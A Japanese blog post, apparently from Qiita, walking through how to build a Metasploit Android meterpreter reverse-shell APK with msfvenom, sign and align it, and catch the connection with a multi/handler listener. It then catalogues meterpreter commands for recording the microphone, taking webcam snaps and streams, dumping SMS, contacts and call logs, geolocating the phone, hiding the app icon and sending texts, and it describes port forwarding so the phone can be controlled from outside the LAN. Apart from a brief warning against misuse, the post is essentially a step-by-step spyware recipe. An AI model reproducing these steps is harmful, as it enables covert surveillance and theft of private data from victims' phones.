LoginSignup
6
10

More than 3 years have passed since last update.

MetasploitでAndroidをハッキングしてみた

Posted at

はじめに

今回は、Metasploitを使ってAndroid端末をハッキングし、遠隔操作して遊んでみようと思います。
MetasploitのAndroidについての日本語の資料が少なかったので書くことにしました。
今回はKali LinuxをUSBに入れて動かしていますが、VirtualBoxとかでも大丈夫だと思います。

当然ながら悪用厳禁です。作ったapkを配布とかしたら普通に捕まるので注意。

apkの作成

まずはMetasploitを使って、Androidを遠隔操作可能にするapkファイルを作っていきます。
Terminalを開き、以下のコマンドを入力します。(私の環境だと、コピペするとなぜかうまくいかなかったので、その場合は自分で入力してみてください。)

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.4 R>/home/kali/test.apk

-pで使うペイロード(攻撃コード)を指定します。
android/meterpreter/reverse_tcpというのは、Android側に遠隔操作可能なシェルを開くペイロードです。

LHOSTには攻撃側のIPアドレスを指定してください。IPアドレスはipコマンドで調べられます。

ip a

これで/home/kaliにtest.apkが生成されているはずです。

しかし、署名されてないapkをインストールしようとするとPlay プロテクトに弾かれるみたいなので、適当に署名していきます。

keytool -genkey -v -keystore test.keystore -alias test_alias -keyalg RSA -keysize 2048 -validity 10000

これでキーストアが生成されます。

apkに書名をするjarsignerコマンドと、apkを最適化するzipalignコマンドはデフォルトでは入ってないので、以下のコマンドでインストールします。

sudo apt-get install default-jdk
sudo apt-get install zipalign

apkに署名します。

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore test.keystore /home/kali/test.apk test_alias

apkを最適化します。

zipalign -v 4 /home/kali/test.apk /home/kali/shell.apk

これでapkファイルは完成です。

リスナーを開く

今回のペイロードはリバースシェルというものでAndroid側から接続を行うので、攻撃側はリスナーを開いておきます。
まずはMetasploitを起動しましょう。

msfconsole

次に、multi/handlerを起動し、Androidからの接続をリッスンします。

use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.11.4

LHOSTには先ほど指定した攻撃側のIPアドレスを指定します。

exploit

これでリスナーが動き出します。

Screenshot 2020-08-03 09:38:211.png

apkのインストール

先ほど作成したapkファイルをAndroid側に転送し、インストールしていきます。
あらかじめ設定から「提供元不明のアプリ」を許可しておいてください。

apkファイルを開くと、何やらめっちゃ権限を要求されます。

Screenshot_2020-08-03-09-11-32.png

どう考えても怪しいですが、まあ気にせずインストールボタンを押しましょう。

Screenshot_2020-08-03-09-17-02.png

さらにPlayプロテクトから警告されますが、気にしたら負けです。

インストールが完了したら、さっそく開いてみましょう。

Screenshot 2020-08-03 10:02:421.png

Kali Linux側で、上の画像の用にmeterpreterが開いたら成功です。これで遠隔操作が可能になります。

meterpreterで遊ぼう

meterpreterには様々なコマンドが用意されています。helpと入力すると、使用できるコマンドが大量に出てくると思います。
ここでは面白いコマンドを色々紹介します。

shell

Androidのシェルを使えるコマンドです。

record_mic

record_mic -d 秒数

とすることで、指定した秒数マイクから録音し、wavファイルに保存できる...はずなんですが、私の環境だとなぜか指定した半分の秒数しか録音されませんでした。
しかも録音時間が14秒を越えるとエラーが出ます。

webcam_snap

webcam_snap [-i カメラ番号 -p 保存先 -q 画質(1〜100) -v 撮影後に開くか(true/false)]

とすることで、カメラで撮影できます。
カメラ番号はwebcam_listコマンドで分かります。

webcam_stream

リアルタイムでカメラ映像が見れます。
といっても、連続で撮影しているだけなのでパシャパシャ鳴り続けてうるさいです。
Root化されているとシャッター音が鳴らないみたいです。

play

play ファイル名

とすることで、wavファイルをAndroid端末上で再生できます。(でも私の環境だと途中で中断されてしまいました。)
wavファイル以外も再生できるのかは不明。

dump_calllog

通話記録をtxt形式で保存できます。

dump_contacts

連絡先リストをtxt形式で保存できます。

dump_sms

SMSの履歴をtxt形式で保存できます。

geolocate

現在地がかなりの精度で出力されます。

hide_app_icon

さっきインストールしたはずのアプリのアイコンが姿を消します。

send_sms

send_sms -d 電話番号 -t テキスト

でSMSメッセージを送信できます。

set_audio_mode

set_audio_mode -m モード(0: オフ, 1: 普通, 2: 最大)

とすることで、音量レベルを設定できます。

app_list

インストールされているアプリとパッケージ名などの情報が出力されます。

app_run

app_run アプリのパッケージ名

でアプリを起動できます。
例) app_run com.android.settings

LAN外から接続する

一応LAN外からも操作できる(らしいです。)

先ほど書いた通り、今回使っているリバースシェルはAndroid側から接続を行うため、まずは攻撃側のルーターのポートを開放する必要があります。
各ルーターの管理画面を開き、ポート開放設定(転送設定)の画面から、LAN側IPアドレスに攻撃側PCのローカルIPアドレスを指定し、開始ポートと終了ポートに4444を指定します。

そして、先ほどのapk生成コマンド

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.4 R>/home/kali/test.apk

のLHOSTを攻撃側のグローバルIPアドレスに変えてください。
グローバルIPアドレスは確認くんで見られます。

あとは先ほどと同じようにすれば、LAN外からAndroid端末を操作できる...らしいのですが、私の場合そもそもポート開放がうまくいかず、心が折れて諦めました。
誰かうまくいった方がいたら、是非コメント欄で教えてください。

終わりに

という訳で、MetasploitからAndroidをハッキングしてみました。
とはいっても、そもそも生成されたapkファイル自体が怪しすぎるし、アンチウイルスにも引っ掛かりまくっていたので、すぐにウイルスだとばれてしまうでしょう。

別のapkファイルにペイロードを埋め込みたくて、3日間ぐらいネット上の情報を漁っていたのですが、結局どの方法やツールを使ってもうまくいきませんでした。
もしうまくいった方がいたら、是非コメント欄で教えてください。

参考文献

6
10
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
10